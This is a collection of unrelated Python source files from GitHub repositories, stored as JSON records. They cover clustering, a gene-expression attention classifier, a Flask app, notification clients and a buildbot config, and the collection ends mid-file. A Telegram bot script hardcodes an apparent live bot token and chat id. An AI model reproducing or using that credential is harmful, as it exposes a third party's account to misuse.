'boreholes')\n # dataset = dataset.split('../')[1]\n # df = pd.read_csv(dataset)\n # prev_dataset = 'datasets/boreholes/tables_dataset_ann.csv'\n # df = mlh.add_legacy_y(prev_dataset=prev_dataset, df=df, y_column='Class', page=False, table=True)\n # df.to_csv(dataset, index=False)\n\n #train(n_queries=1)\n #active_learning.automatically_tag('tables', get_borehole_tables, 'Class', mode='boreholes_production')\n\n #train(n_queries=1)\n\n # df = create_dataset(['44448'], save=False)\n # df = df.loc[df['Columns'].str.len() > 0]\n # res = get_borehole_tables(df, masked=True)\n # print(res)\n #reports_str = '25335 34372 35500 36675 40923 41674 41720 41932 44638 48384 48406'\n ids = ['25335', '34372', '35500', '36675', '40923', '41674', '41720', '41932', '44638', '48384', '48406']\n for id in ids:\n file_nums = paths.get_files_from_path('tables', one_docid=id, training=False, file_num_only=True)\n for num in file_nums:\n try:\n bh_tables_to_csv(id, num, training=False)\n except NoNaturalTablesError:\n pass\n #get_bh_tables_from_docid(['2646', '44448', '32730', '37802', '44603'])\n #bh_tables_to_csv('35454')\n #save_all_bh_tables(training=False)\n #bhtables = get_tables('35454', bh=True)\n #table_similarity('35454')\n","repo_name":"annaandraszek/anna-gsq-boreholes","sub_path":"textracting/borehole/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":13318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74715753155","text":"from copy import deepcopy\n\nfrom production_config import \\\n GLOBAL_VARS, SLAVES, TRY_SLAVES, GRAPH_CONFIG\n\n\nGLOBAL_VARS = deepcopy(GLOBAL_VARS)\n\nGLOBAL_VARS['stage_username'] = 'tbirdbld'\nGLOBAL_VARS['stage_ssh_key'] = 'tbirdbld_dsa'\n\n# Local branch overrides\nBRANCHES = {\n 'comm-central': {\n 'tinderbox_tree': 'Thunderbird',\n },\n 'comm-esr52': {\n 'tinderbox_tree': 'Thunderbird-Esr52',\n },\n 'comm-beta': {\n 'tinderbox_tree': 'Thunderbird-Beta',\n },\n 'try-comm-central': {\n 'tinderbox_tree': 'Try-Comm-Central',\n 'enable_mail_notifier': True,\n 'notify_real_author': True,\n 'enable_merging': False,\n 'slave_key': 'try_slaves',\n 'package_url': 'https://archive.mozilla.org/pub/thunderbird/try-builds',\n 'package_dir': '%(who)s-%(got_revision)s/',\n 'stage_username': 'tbirdbld',\n 'stage_ssh_key': 'tbirdbld_dsa',\n },\n}\n\nPLATFORM_VARS = {}\n\nPROJECTS = {}\n","repo_name":"mozilla-releng/build-buildbot-configs","sub_path":"mozilla-tests/thunderbird_production_config.py","file_name":"thunderbird_production_config.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"1350707142","text":"import numpy as np\nimport sys\nimport math\nfrom sklearn.metrics import pairwise_distances_argmin\n\n\n#function to compute euclidean distance \ndef distance(p1, p2): \n return np.sum((p1 - p2)**2)\n\n#initialisation algorithm \ndef initialize(data, k):\n centroids = np.ndarray(shape = (k, data.shape[1]))\n centroids[0, :] = (data[np.random.randint( \n data.shape[0]), :])\n\n dist = [sys.maxsize]*data.shape[0]\n \n #compute remaining k - 1 centroids\n for c_id in range(k-1): \n for i in range(data.shape[0]): \n point = data[i, :] \n dist[i] = min(dist[i], distance(point, centroids[c_id, :]))\n \n dist = np.array(dist)/np.sum(dist)\n next_centroid = data[np.random.choice(data.shape[0], p=dist), :]\n centroids[c_id+1, :]=next_centroid\n \n return centroids\n\ndef find_clusters(data, k, centers):\n while True:\n \n #Assign labels based on closest center\n labels = pairwise_distances_argmin(data, centers)\n \n new_centers = np.ndarray(shape = (k, data.shape[1]))\n\n #compute new centers by taking the mean of the points in each cluster\n for i in range(k):\n cluster_i = data[labels==i]\n new_centers[i, :] = cluster_i.mean(0)\n\n #Check for convergence\n if np.all(centers == new_centers):\n break\n \n centers = new_centers\n\n return centers, labels\n\ndef compute_cost(data, centroids, labels):\n cost = 0\n for i in range(data.shape[0]):\n point = data[i, :]\n c = labels[i]\n cost += distance(point, centroids[c, :])\n \n return cost\n\ndef pca(data, m):\n u, s, vh = np.linalg.svd(data, full_matrices=False)\n\n for i in range(0, s.size):\n if (i > m-1):\n s[i] = 0\n \n projected = np.dot(u, np.dot(np.diag(s), vh))\n\n return projected\n\ndef kmeans(data, k, max_iter = 1):\n best = (0, 0, sys.maxsize, -1)\n \n for i in range(max_iter):\n centroids = initialize(data, k)\n centers, labels = find_clusters(data, k, centroids)\n cost_i = compute_cost(data, centers, labels)\n \n if (cost_i < best[2]):\n best = (centers, labels, cost_i, i)\n \n return best\n\ndef clusters_dict(data, k, labels):\n clusters = dict()\n \n for i in range(k):\n clusters[i] = tuple(map(tuple, data[labels==i]))\n\n return clusters\n\ndef clusters_dict_opt(data, k):\n clusters = dict()\n\n for i in range(data.shape[0]):\n for j in range(k):\n if (i%k == j):\n clusters[j] = clusters.get(j, set())\n clusters[j].add(tuple(data[i, :]))\n \n return clusters\n\ndef accuracy(n, k, clusters_opt, clusters):\n matches = 0\n \n for c_i, cluster_i in clusters_opt.items():\n max_intersection = 0\n matching_cluster = -1\n\n for c_j, cluster_j in clusters.items():\n cur_int = len(set(cluster_i).intersection(set(cluster_j)))\n\n if (cur_int > max_intersection):\n max_intersection = cur_int\n matching_cluster = c_j\n\n clusters.pop(matching_cluster, None)\n matches += max_intersection\n \n accuracy = matches/(n*k)\n\n return accuracy\n\n","repo_name":"MarawanHassaan/PCA_k-means","sub_path":"modules_fn.py","file_name":"modules_fn.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29299680588","text":"import contextlib\nimport json\nfrom pathlib import Path\nimport tempfile\nfrom typing import Generator\n\n\n@contextlib.contextmanager\ndef json_temp_file(content: dict) -> Generator[Path, None, None]:\n \"\"\"\n Write a json object to a temporary file. The file is deleted after the\n context manager exits.\n\n Args:\n content (dict): The object to write to the file.\n\n Yields:\n Path: Path to the catalog.\n \"\"\"\n try:\n # Use tempfile to create a temporary config file.\n with tempfile.NamedTemporaryFile(\n mode=\"w\",\n suffix=\".json\",\n delete=False,\n ) as catalog_file:\n # Write the config attribute to the config file.\n catalog_file.write(json.dumps(content))\n # Yield the path to the config file.\n yield Path(catalog_file.name)\n finally:\n # Always delete the catalog file.\n Path(catalog_file.name).unlink()\n","repo_name":"quantile-development/elx","sub_path":"elx/json_temp_file.py","file_name":"json_temp_file.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"35094177306","text":"import time\r\nimport numpy as np\r\nimport pandas as pd\r\nimport random\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nfrom torch.utils.data import TensorDataset, DataLoader\r\n\r\nimport os\r\nimport copy\r\nimport math\r\n\r\nfrom scipy.special import softmax\r\nimport scipy.stats as ss\r\nfrom sklearn.model_selection import StratifiedKFold\r\nfrom sklearn.preprocessing import minmax_scale\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.metrics import roc_auc_score,accuracy_score,confusion_matrix,recall_score,precision_score,precision_recall_curve,f1_score,auc\r\n\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns;\r\n# sns.set_theme(color_codes=True)\r\n\r\nrandom_seed = 12\r\n\r\ntorch.manual_seed(random_seed)\r\ntorch.cuda.manual_seed(random_seed)\r\ntorch.cuda.manual_seed_all(random_seed)\r\ntorch.backends.cudnn.deterministic = True\r\ntorch.backends.cudnn.benchmark = False\r\nnp.random.seed(random_seed)\r\nrandom.seed(random_seed)\r\n\r\ntorch.cuda.set_device(\"cuda:0\")\r\nos.environ['CUDA_VISIBLE_DEVICES']='1'\r\n\r\n\r\nclass EarlyStopping:\r\n def __init__(self, patience=7, verbose=False, delta=0.0001, path='checkpoint.pt', trace_func=print):\r\n \"\"\"\r\n Args:\r\n patience (int): How long to wait after last time validation loss improved.\r\n Default: 7\r\n verbose (bool): If True, prints a message for each validation loss improvement.\r\n Default: False\r\n delta (float): Minimum change in the monitored quantity to qualify as an improvement.\r\n Default: 0\r\n path (str): Path for the checkpoint to be saved to.\r\n Default: 'checkpoint.pt'\r\n trace_func (function): trace print function.\r\n Default: print\r\n \"\"\"\r\n self.patience = patience\r\n self.verbose = verbose\r\n self.counter = 0\r\n self.best_score = None\r\n self.early_stop = False\r\n self.val_loss_min = np.Inf\r\n self.delta = delta\r\n self.path = path\r\n self.trace_func = trace_func\r\n def __call__(self, val_loss, model):\r\n\r\n score = -val_loss\r\n\r\n if self.best_score is None:\r\n self.best_score = score\r\n self.save_checkpoint(val_loss, model)\r\n elif score < self.best_score + self.delta:\r\n self.counter += 1\r\n if self.counter >self.patience:\r\n self.trace_func(f'EarlyStopping counter: {self.counter} out of {self.patience}')\r\n if self.counter >= self.patience:\r\n self.early_stop = True\r\n else:\r\n self.best_score = score\r\n self.save_checkpoint(val_loss, model)\r\n self.counter = 0\r\n\r\n def save_checkpoint(self, val_loss, model):\r\n '''Saves model when validation loss decrease.'''\r\n if self.verbose:\r\n self.trace_func(f'Validation loss decreased ({self.val_loss_min:.6f} --> {val_loss:.6f}). Saving model ...')\r\n torch.save(model.state_dict(), self.path)\r\n self.val_loss_min = val_loss\r\n\r\nmrna = pd.read_csv(\r\n '../mrna.txt', sep='\\t')\r\nmir = pd.read_csv(\r\n '../mirna.txt', sep='\\t')\r\nclincal = pd.read_csv(\r\n '../label.txt', sep='\\t')\r\n\r\nmrna.index = mrna['gene_name']\r\ndel mrna['gene_name']\r\n\r\nmir.index = mir['gene_name']\r\ndel mir['gene_name']\r\n\r\nmrna_feaure_num = 500\r\nmir_feaure_num = 300\r\nmrna = mrna.iloc[:, :mrna_feaure_num]\r\nmir = mir.iloc[:, :mir_feaure_num]\r\n\r\nclincal.index = clincal['id']\r\ndel clincal['id']\r\n\r\nlabel = clincal['label']\r\n\r\nmrna.insert(0, 'label', label)\r\nmir.insert(0, 'label', label)\r\n\r\nBasal_mrna = mrna[mrna['label'].values == 0]\r\nHer2_mrna = mrna[mrna['label'].values == 1]\r\nLumA_mrna = mrna[mrna['label'].values == 2]\r\nLumB_mrna = mrna[mrna['label'].values == 3]\r\nprint('Basal_mrna', Basal_mrna.shape)\r\nprint('Her2_mrna', Her2_mrna.shape)\r\nprint('LumA_mrna', LumA_mrna.shape)\r\nprint('LumB_mrna', LumB_mrna.shape)\r\n\r\nBasal_mir = mir[mir['label'].values == 0]\r\nHer2_mir = mir[mir['label'].values == 1]\r\nLumA_mir = mir[mir['label'].values == 2]\r\nLumB_mir = mir[mir['label'].values == 3]\r\nprint('Basal_mir', Basal_mir.shape)\r\nprint('Her2_mir', Her2_mir.shape)\r\nprint('LumA_mir', LumA_mir.shape)\r\nprint('LumB_mir', LumB_mir.shape)\r\n\r\n### 数据基本处理\r\n\r\ndef connect(A,B):\r\n data = pd.concat([A,B],axis=0)\r\n return data.sample(frac=1.0,random_state=1)\r\n\r\ndef change_label(data):\r\n origin_label = data['label'].values\r\n xx = np.unique(origin_label)\r\n new_label = []\r\n for i in origin_label:\r\n if i < xx.mean():\r\n new_label.append(0)\r\n else:\r\n new_label.append(1)\r\n data['label'] = np.array(new_label)\r\n return data\r\n\r\n# connect 2 classification\r\nBasal_Her2_mrna = connect(Basal_mrna, Her2_mrna)\r\nBasal_LumA_mrna = connect(Basal_mrna, LumA_mrna)\r\nBasal_LumB_mrna = connect(Basal_mrna, LumB_mrna)\r\n\r\nHer2_LumA_mrna = connect(Her2_mrna, LumA_mrna)\r\nHer2_LumB_mrna = connect(Her2_mrna, LumB_mrna)\r\n\r\nLum_AB_mrna = connect(LumA_mrna, LumB_mrna)\r\n\r\nBasal_Her2_mir = connect(Basal_mir, Her2_mir)\r\nBasal_LumA_mir = connect(Basal_mir, LumA_mir)\r\nBasal_LumB_mir = connect(Basal_mir, LumB_mir)\r\n\r\nHer2_LumA_mir = connect(Her2_mir, LumA_mir)\r\nHer2_LumB_mir = connect(Her2_mir, LumB_mir)\r\n\r\nLum_AB_mir = connect(LumA_mir, LumB_mir)\r\n\r\n## 最终训练数据\r\nBasal_Her2_mrna = change_label(Basal_Her2_mrna)\r\nBasal_Her2_mir = connect(Basal_mir, Her2_mir)\r\n\r\nBasal_LumA_mrna = change_label(Basal_LumA_mrna)\r\nBasal_LumA_mir = change_label(Basal_LumA_mir)\r\n\r\nBasal_LumB_mrna = change_label(Basal_LumB_mrna)\r\nBasal_LumB_mir = change_label(Basal_LumB_mir)\r\n\r\nHer2_LumA_mrna = change_label(Her2_LumA_mrna)\r\nHer2_LumA_mir = change_label(Her2_LumA_mir)\r\n\r\nHer2_LumB_mrna = change_label(Her2_LumB_mrna)\r\nHer2_LumB_mir = change_label(Her2_LumB_mir)\r\n\r\nLum_AB_mrna = change_label(Lum_AB_mrna)\r\nLum_AB_mir = change_label(Lum_AB_mir)\r\n\r\n\r\nclass mtlAttention(nn.Module):\r\n def __init__(self, In_Nodes1, In_Nodes2, Modules):\r\n super(mtlAttention, self).__init__()\r\n self.Modules = Modules\r\n self.sigmoid = nn.Sigmoid()\r\n\r\n self.task1_FC1_x = nn.Linear(In_Nodes1, Modules, bias=False)\r\n self.task1_FC1_y = nn.Linear(In_Nodes1, Modules, bias=False)\r\n\r\n self.task2_FC1_x = nn.Linear(In_Nodes2, Modules, bias=False)\r\n self.task2_FC1_y = nn.Linear(In_Nodes2, Modules, bias=False)\r\n\r\n self.softmax = nn.Softmax(dim=-1)\r\n\r\n self.task1_FC2 = nn.Sequential(nn.Linear(Modules * 2, 64), nn.ReLU())\r\n self.task2_FC2 = nn.Sequential(nn.Linear(Modules * 2, 64), nn.ReLU())\r\n\r\n self.task1_FC3 = nn.Sequential(nn.Linear(64, 32), nn.ReLU())\r\n self.task2_FC3 = nn.Sequential(nn.Linear(64, 32), nn.ReLU())\r\n\r\n self.task1_FC4 = nn.Sequential(nn.Linear(32, 16), nn.ReLU())\r\n self.task2_FC4 = nn.Sequential(nn.Linear(32, 16), nn.ReLU())\r\n\r\n self.task1_FC5 = nn.Sequential(nn.Linear(16, 1), nn.Sigmoid())\r\n self.task2_FC5 = nn.Sequential(nn.Linear(16, 1), nn.Sigmoid())\r\n\r\n def forward_one(self, xg, xm):\r\n xg_x = self.task1_FC1_x(xg)\r\n xm_x = self.task2_FC1_x(xm)\r\n xg_y = self.task1_FC1_y(xg)\r\n xm_y = self.task2_FC1_y(xm)\r\n\r\n xg = torch.cat([xg_x.reshape(-1, 1, self.Modules), xg_y.reshape(-1, 1, self.Modules)], dim=1)\r\n xm = torch.cat([xm_x.reshape(-1, 1, self.Modules), xm_y.reshape(-1, 1, self.Modules)], dim=1)\r\n\r\n norm = torch.norm(xg, dim=1, keepdim=True)\r\n xg = xg.div(norm)\r\n\r\n norm = torch.norm(xm, dim=1, keepdim=True)\r\n xm = xm.div(norm)\r\n\r\n energy = torch.bmm(xg.reshape(-1, 2, self.Modules).permute(0, 2, 1), xm.reshape(-1, 2, self.Modules))\r\n attention1 = self.softmax(energy.permute(0, 2, 1)).permute(0, 2, 1)\r\n attention2 = self.softmax(energy).permute(0, 2, 1)\r\n\r\n xg_value = torch.bmm(xg, attention1)\r\n xm_value = torch.bmm(xm, attention2)\r\n\r\n xg = xg_value.view(-1, self.Modules * 2)\r\n xm = xm_value.view(-1, self.Modules * 2)\r\n\r\n xg = self.task1_FC2(xg)\r\n xm = self.task2_FC2(xm)\r\n xg = self.task1_FC3(xg)\r\n xm = self.task2_FC3(xm)\r\n xg = self.task1_FC4(xg)\r\n xm = self.task2_FC4(xm)\r\n xg = self.task1_FC5(xg)\r\n xm = self.task2_FC5(xm)\r\n\r\n return xg, xm\r\n\r\n\r\ndef model(omcis1, omcis2, learningRate, weightDecay):\r\n xg_data = omcis1.iloc[:, 1:].values\r\n xm_data = omcis2.iloc[:, 1:].values\r\n\r\n label = omcis1['label']\r\n random_state = random.randint(1, 1000)\r\n # print('random is ',random_state)\r\n skf = StratifiedKFold(n_splits=5, shuffle=True, random_state=random_state)\r\n\r\n\r\n j = 0\r\n for train_index, test_index in skf.split(xg_data, label):\r\n Xg_train, Xg_test = xg_data[train_index, :], xg_data[test_index, :]\r\n Xm_train, Xm_test = xm_data[train_index, :], xm_data[test_index, :]\r\n yg_train, yg_test = label[train_index], label[test_index]\r\n j = j + 1\r\n if j == 1: # CV1 test\r\n break\r\n # set hyperparmater\r\n earlyStoppingPatience = 100\r\n\r\n learningRate = learningRate\r\n # print('learningRate is :',learningRate )\r\n\r\n weightDecay = weightDecay\r\n # print('weightDecay is :',weightDecay)\r\n num_epochs = 500000\r\n\r\n # change form\r\n y_train = np.array(yg_train).flatten().astype(int)\r\n y_test = np.array(yg_test).flatten().astype(int)\r\n\r\n\r\n Xg = torch.tensor(Xg_train, dtype=torch.float32).cuda()\r\n Xm = torch.tensor(Xm_train, dtype=torch.float32).cuda()\r\n\r\n Xg_test = torch.tensor(Xg_test, dtype=torch.float32).cuda()\r\n Xm_test = torch.tensor(Xm_test, dtype=torch.float32).cuda()\r\n\r\n y = torch.tensor(y_train, dtype=torch.float32).cuda()\r\n\r\n\r\n ds = TensorDataset(Xg, Xm, y)\r\n loader = DataLoader(ds, batch_size=y_train.shape[0], shuffle=True)\r\n\r\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\r\n\r\n In_Nodes1 = Xg_train.shape[1]\r\n In_Nodes2 = Xm_train.shape[1]\r\n\r\n # print('In_Nodes1', In_Nodes1)\r\n # print('In_Nodes2', In_Nodes2)\r\n\r\n net = mtlAttention(In_Nodes1, In_Nodes2, 64)\r\n net = net.to(device)\r\n early_stopping = EarlyStopping(\r\n patience=earlyStoppingPatience, verbose=False)\r\n optimizer = optim.Adam(\r\n net.parameters(), lr=learningRate, weight_decay=weightDecay)\r\n loss_fn = nn.BCELoss()\r\n\r\n start = time.time()\r\n for epoch in (range(num_epochs)):\r\n running_loss1 = 0.0\r\n running_loss2 = 0.0\r\n for i, data in enumerate(loader, 0):\r\n xg, xm, y = data\r\n output1, output2 = net.forward_one(xg, xm)\r\n output1 = output1.squeeze()\r\n output2 = output2.squeeze()\r\n net.train()\r\n optimizer.zero_grad()\r\n loss = loss_fn(output1, y) + loss_fn(output2, y)\r\n loss.backward(retain_graph=True)\r\n optimizer.step()\r\n running_loss1 += loss_fn(output1, y.view(-1)).item()\r\n running_loss2 += loss_fn(output2, y.view(-1)).item()\r\n\r\n early_stopping(running_loss1 + running_loss2, net)\r\n if early_stopping.early_stop:\r\n # # print(\"Early stopping\")\r\n # print(\"--------------------------------------------------------------------------------------------------\")\r\n break\r\n\r\n # test\r\n test1, test2 = net.forward_one(\r\n Xg_test.clone().detach(), Xm_test.clone().detach())\r\n test1 = test1.cpu().detach().numpy()\r\n test2 = test2.cpu().detach().numpy()\r\n\r\n final = (test1 + test2) / 2\r\n ACC = accuracy_score(list(y_test), np.where(final > 0.5, 1, 0))\r\n F1 = f1_score(list(y_test), np.where(final > 0.5, 1, 0))\r\n AUC = roc_auc_score(y_test.reshape(-1), final)\r\n\r\n # ACC_task1 = accuracy_score(list(y_test), np.where(test1 > 0.5, 1, 0))\r\n # ACC_task2 = accuracy_score(list(y_test), np.where(test2 > 0.5, 1, 0))\r\n # F1_task1 = f1_score(list(y_test), np.where(test1 > 0.5, 1, 0))\r\n # F1_task2 = f1_score(list(y_test), np.where(test2 > 0.5, 1, 0))\r\n # AUC_task1 = roc_auc_score(y_test.reshape(-1), test1)\r\n # AUC_task2 = roc_auc_score(y_test.reshape(-1), test2)\r\n\r\n return ACC, F1, AUC\r\n\r\n\r\n##### basal vs her2\r\nACC = []\r\nF1 = []\r\nAUC = []\r\n\r\nfor i in range(0, 30):\r\n acc, f1, auc = model(Basal_Her2_mrna, Basal_Her2_mir, 0.0001, 0.01)\r\n ACC.append(acc)\r\n F1.append(f1)\r\n AUC.append(auc)\r\n\r\nprint(\"*******Basal_Her2********\")\r\nprint(\"*******ACC****************************************\")\r\nprint(\"mean ACC:\", np.array(ACC).mean())\r\nprint('acc list:\\n', ACC)\r\n\r\nprint(\"*******F1*****************************************\")\r\nprint(\"mean F1:\", np.array(F1).mean())\r\nprint('F1 list:\\n', F1)\r\n\r\nprint(\"*******AUC****************************************\")\r\nprint(\"mean AUC:\", np.array(AUC).mean())\r\nprint('AUC list:\\n', AUC)\r\n\r\n##### basal vs luma\r\nACC = []\r\nF1 = []\r\nAUC = []\r\n\r\nfor i in range(0, 30):\r\n acc, f1, auc = model(Basal_LumA_mrna, Basal_LumA_mir, 0.005, 0.001)\r\n ACC.append(acc)\r\n F1.append(f1)\r\n AUC.append(auc)\r\n\r\nprint(\"*******basal_LUMA********\")\r\nprint(\"*******ACC****************************************\")\r\nprint(\"mean ACC:\", np.array(ACC).mean())\r\nprint('acc list:\\n', ACC)\r\n\r\nprint(\"*******F1*****************************************\")\r\nprint(\"mean F1:\", np.array(F1).mean())\r\nprint('F1 list:\\n', F1)\r\n\r\nprint(\"*******AUC****************************************\")\r\nprint(\"mean AUC:\", np.array(AUC).mean())\r\nprint('AUC list:\\n', AUC)\r\n","repo_name":"hyr0771/VSCCN","sub_path":"03 DNN-model/binary-classification.py","file_name":"binary-classification.py","file_ext":"py","file_size_in_byte":13613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9529662909","text":"from typing import Union\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom django.conf import settings\n\n\ndef get_transcription(word: str) -> Union[None, str]:\n \"\"\"Парсинг транскрипции слова\"\"\"\n\n transcription = None\n\n html_data = parsing_html(word)\n if html_data:\n items = html_data.findAll('span', class_='transcription')\n if items: transcription = items[0].get_text() # NOQA\n\n return transcription\n\n\ndef parsing_html(word: str) -> Union[None, BeautifulSoup]:\n \"\"\"Парсинг html страницы с ресурса 'wooordhunt.ru' \"\"\"\n\n html_data = None\n\n response = requests.get(settings.URL_WOOORDHUNT % word)\n if response.status_code == 200:\n html_data = BeautifulSoup(response.content, 'html.parser')\n\n return html_data\n","repo_name":"shamrn/learn-english","sub_path":"translator/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"290424817","text":"from flask import Flask,render_template,request\r\nfrom square import square\r\nfrom word_break import reverse\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route('/about')\r\ndef about():\r\n return render_template('about.html')\r\n\r\n@app.route('/calculate',methods=['GET','POST'])\r\ndef calculate():\r\n errors = \"\"\r\n result = \"\"\r\n number = None\r\n if request.method == \"POST\":\r\n if request.form['number'] is not None:\r\n try:\r\n number = float(request.form[\"number\"])\r\n except:\r\n errors += f'Please Enter a Number'\r\n else:\r\n result = f'Square of {number} is {square(number)}'\r\n return render_template(\"calculate.html\",solution=result, error_msg=errors)\r\n\r\n@app.route('/reverse',methods=['GET','POST'])\r\ndef reversed():\r\n word_input,result = None,None\r\n if request.method == 'POST': \r\n word_input = request.form.get('word_input')\r\n result = f'Input: {word_input} Reverse: {reverse(word_input)}'\r\n return render_template('reverse.html',solution=result)\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n\r\n","repo_name":"TarnT/sampleapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3960539634","text":"invited = set()\nn = int(input(\"Enter a number: \"))\nfor _ in range(n):\n code = input(\"Enter code: \")\n invited.add(code)\nwhile True:\n command = input()\n if command == \"END\":\n break\n invited.discard(command)\n\nprint(len(invited))\n\nnumber_starting_codes = [code for code in invited if code[0].isdigit()]\nother_codes = [code for code in invited if not code[0].isdigit()]\n\nfor code in number_starting_codes + other_codes:\n print(code)\n\n\n\n\n\n\n\n\n","repo_name":"Lubodim/223_fundamentals","sub_path":"homework/team_Тийм_Черни/03/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"536788398","text":"__author__ = 'Jacob Burch'\n__author_email__ = 'jacoburch@gmail.com'\n__maintainer__ = 'Olivier Hervieu'\n__maintainer_email__ = 'olivier.hervieu@gmail.com'\n__version__ = 0.42\n\nfrom httplib import HTTPSConnection as Https\nfrom urllib import urlencode\n\nAPI_DOMAIN = 'prowl.weks.net'\n\nclass Prowl(object):\n def __init__(self, apikey, providerkey = None):\n \"\"\"\nInitialize a Prowl instance.\n\"\"\"\n self.apikey = apikey\n \n # Set User-Agent\n self.headers = {'User-Agent': \"Prowlpy/%s\" % str(__version__),\n 'Content-type': \"application/x-www-form-urlencoded\"}\n\n # Aliasing\n self.add = self.post\n \n def post( self, application=None, event=None,\n description=None,priority=0, providerkey = None):\n \"\"\"\nPost a notification..\nYou must provide either event or description or both.\nThe parameters are :\n- application ; The name of your application or the application\ngenerating the event.\n- providerkey (optional) : your provider API key.\nOnly necessary if you have been whitelisted.\n- priority (optional) : default value of 0 if not provided.\nAn integer value ranging [-2, 2] representing:\n-2. Very Low\n-1. Moderate\n0. Normal\n1. High\n2. Emergency (note : emergency priority messages may bypass\nquiet hours according to the user's settings)\n- event : the name of the event or subject of the notification.\n- description : a description of the event, generally terse.\n\"\"\"\n\n # Create the http object\n h = Https(API_DOMAIN)\n \n # Perform the request and get the response headers and content\n data = {\n 'apikey': self.apikey,\n 'application': application,\n 'event': event,\n 'description': description,\n 'priority': priority\n }\n\n if providerkey is not None:\n data['providerkey'] = providerkey\n\n h.request( \"POST\",\n \"/publicapi/add\",\n headers = self.headers,\n body = urlencode(data))\n response = h.getresponse()\n request_status = response.status\n\n if request_status == 200:\n return True\n elif request_status == 401:\n raise Exception(\"Auth Failed: %s\" % response.reason)\n else:\n raise Exception(\"Failed\")\n \n def verify_key(self, providerkey = None):\n \"\"\"\nVerify if the API key is valid.\nThe parameters are :\n- providerkey (optional) : your provider API key.\nOnly necessary if you have been whitelisted.\n\"\"\"\n h = Https(API_DOMAIN)\n\n data = {'apikey' : self.apikey}\n\n if providerkey is not None:\n data['providerkey'] = providerkey\n\n h.request( \"GET\",\n \"/publicapi/verify\"+ urlencode(data),\n headers=self.headers)\n\n request_status = h.getresponse().status\n\n if request_status != 200:\n raise Exception(\"Invalid API Key %s\" % self.apikey)","repo_name":"minrivertea/laowailai","sub_path":"prowlpy.py","file_name":"prowlpy.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"21711698995","text":"n=int(input())\nlst=[int(i)for i in input().split()]\np,q=map(int,input().split())\nx=-1\ny=-1\nfor i in range(n):\n if lst[i]>=p:\n x=i\n break\nfor j in range(n-1,-1,-1):\n #print(j,lst[j])\n if lst[j]<=q:\n y=j\n break\nif x==-1 or y==-1 or x>y:\n print(-1,-1)\nelse:\n print(x,y)\n","repo_name":"Hirekari-Abhishek-Raj/Python","sub_path":"Search Range.py","file_name":"Search Range.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15387396141","text":"import telepot\nfrom cam_test import capture\n\nbot = telepot.Bot('971914614:AAHc4Oo9Rblvc71nfZaNAfH-9nMtbge1a0s')\n\na=bot.getUpdates()[-1]\n\n#print (a)\nx=(a['message']['text'])\nprint('Recieved msg:',x)\n\nmoist = 1234\nif x=='Plant':\n q = capture()\n photo = open('camworks.jpg', 'rb')\n bot.sendPhoto(597318456,photo, caption='Plant Pic',)\n bot.sendMessage(597318456,moist)\n print('sent photo')\n ","repo_name":"yashu999/pijam-project","sub_path":"tele_test.py","file_name":"tele_test.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5580320577","text":"# -*- coding: utf-8 -*-\n\"\"\"Interface prototype to the Quadriga channel model.\"\"\"\n\nfrom __future__ import annotations\nfrom typing import List, Tuple, Optional, Type, TYPE_CHECKING\n\nimport os\nimport numpy as np\nfrom os import getenv, path\n\nif TYPE_CHECKING:\n from hermespy.channel import QuadrigaChannel # pragma: no cover\n from hermespy.simulation import SimulatedDevice # pragma: no cover\n\n__author__ = \"Tobias Kronauer\"\n__copyright__ = \"Copyright 2023, Barkhausen Institut gGmbH\"\n__credits__ = [\"Tobias Kronauer\", \"Jan Adler\"]\n__license__ = \"AGPLv3\"\n__version__ = \"1.1.0\"\n__maintainer__ = \"Jan Adler\"\n__email__ = \"jan.adler@barkhauseninstitut.org\"\n__status__ = \"Prototype\"\n\n\nclass QuadrigaInterface:\n \"\"\"Implements the direct interface between hermes QuadrigChannel/quadriga backend.\n\n It is important to mention, that in the hermes implementation channels are\n independent of each other, i.e. are associated with each transmitter/receiver\n modem pair. However, this is not the case for quadriga which creates one\n channel for all transmitter/receiver modem pairs. Therefore, we need to do\n a mapping between the QuadrigaChannel objects for all transmitter/receiver\n modem pairs and the Quadriga simulation which runs in the background.\n\n This mapping is done in that class.\n \"\"\"\n\n yaml_tag = \"QuadrigaInterface\"\n __instance: Optional[QuadrigaInterface] = None\n __path_quadriga_src: str\n __antenna_kind: str # TODO: Implement Enumeration for possible types of antennas\n __scenario_label: str\n __channels: 